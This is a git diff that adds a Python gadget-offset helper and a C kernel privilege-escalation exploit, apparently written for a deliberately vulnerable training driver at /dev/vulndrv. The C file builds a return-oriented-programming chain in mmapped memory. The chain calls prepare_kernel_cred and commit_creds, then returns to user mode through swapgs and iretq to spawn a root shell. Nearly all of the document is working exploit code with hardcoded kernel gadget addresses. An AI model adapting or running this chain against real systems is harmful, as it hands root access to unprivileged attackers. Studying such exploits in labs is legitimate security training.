diff --git a/find_offset.py b/find_offset.py new file mode 100644 index 0000000..06986b8 --- /dev/null +++ b/find_offset.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +import sys + +base_addr = int(sys.argv[1], 16) + +f = open(sys.argv[2], 'r') # gadgets + +for line in f.readlines(): + target_str, gadget = line.split(':') + target_addr = int(target_str, 16) + + # check alignment + if target_addr % 8 != 0: + continue + + offset = (target_addr - base_addr) / 8 + print 'offset =', (1 << 64) + offset + print 'gadget =', gadget.strip() + print 'stack addr = %x' % (target_addr & 0xffffffff) + break diff --git a/rop_exploit.c b/rop_exploit.c new file mode 100644 index 0000000..51e10fe --- /dev/null +++ b/rop_exploit.c @@ -0,0 +1,109 @@ +/** + * ROP exploit for drv.c kernel module + * + * gcc rop_exploit.c -O2 -o rop_exploit + * + * Email: vnik@cyseclabs.com + * Vitaly Nikolenko + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "drv.h" + +#define DEVICE_PATH "/dev/vulndrv" + +unsigned long user_cs; +unsigned long user_ss; +unsigned long user_rflags; + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "pushfq\n" + "popq %2\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); +} + +void shell(void) { + if(!getuid()) + system("/bin/sh"); + + exit(0); +} + +void usage(char *bin_name) { + fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); +} + +int main(int argc, char *argv[]) +{ + int fd; + struct drv_req req; + void *mapped, *temp_stack; + unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; + + if (argc != 3) { + usage(argv[0]); + return -1; + } + + req.offset = strtoul(argv[1], NULL, 10); + base_addr = strtoul(argv[2], NULL, 16); + + printf("array base address = 0x%lx\n", base_addr); + stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; + fprintf(stdout, "stack address = 0x%lx\n", stack_addr); + + mmap_addr = stack_addr & 0xffff0000; + assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); + assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); + + save_state(); + fake_stack = (unsigned long *)(stack_addr); + *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ + + fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); + + *fake_stack ++= 0x0UL; /* NULL */ + *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ + + *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ + //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ + *fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions + + *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ + + *fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret + *fake_stack ++= 0xdeadbeefUL; // dummy placeholder + + *fake_stack ++= 0xffffffff81053056UL; /* iretq */ + *fake_stack ++= (unsigned long)shell; /* spawn a shell */ + *fake_stack ++= user_cs; /* saved CS */ + *fake_stack ++= user_rflags; /* saved EFLAGS */ + *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ + *fake_stack ++= user_ss; /* saved SS */ + + + //map = mmap((void *)..., ..., 3, 0x32, 0, 0); + + fd = open(DEVICE_PATH, O_RDONLY); + + if (fd == -1) { + perror("open"); + } + + ioctl(fd, 0, &req); + + return 0; +}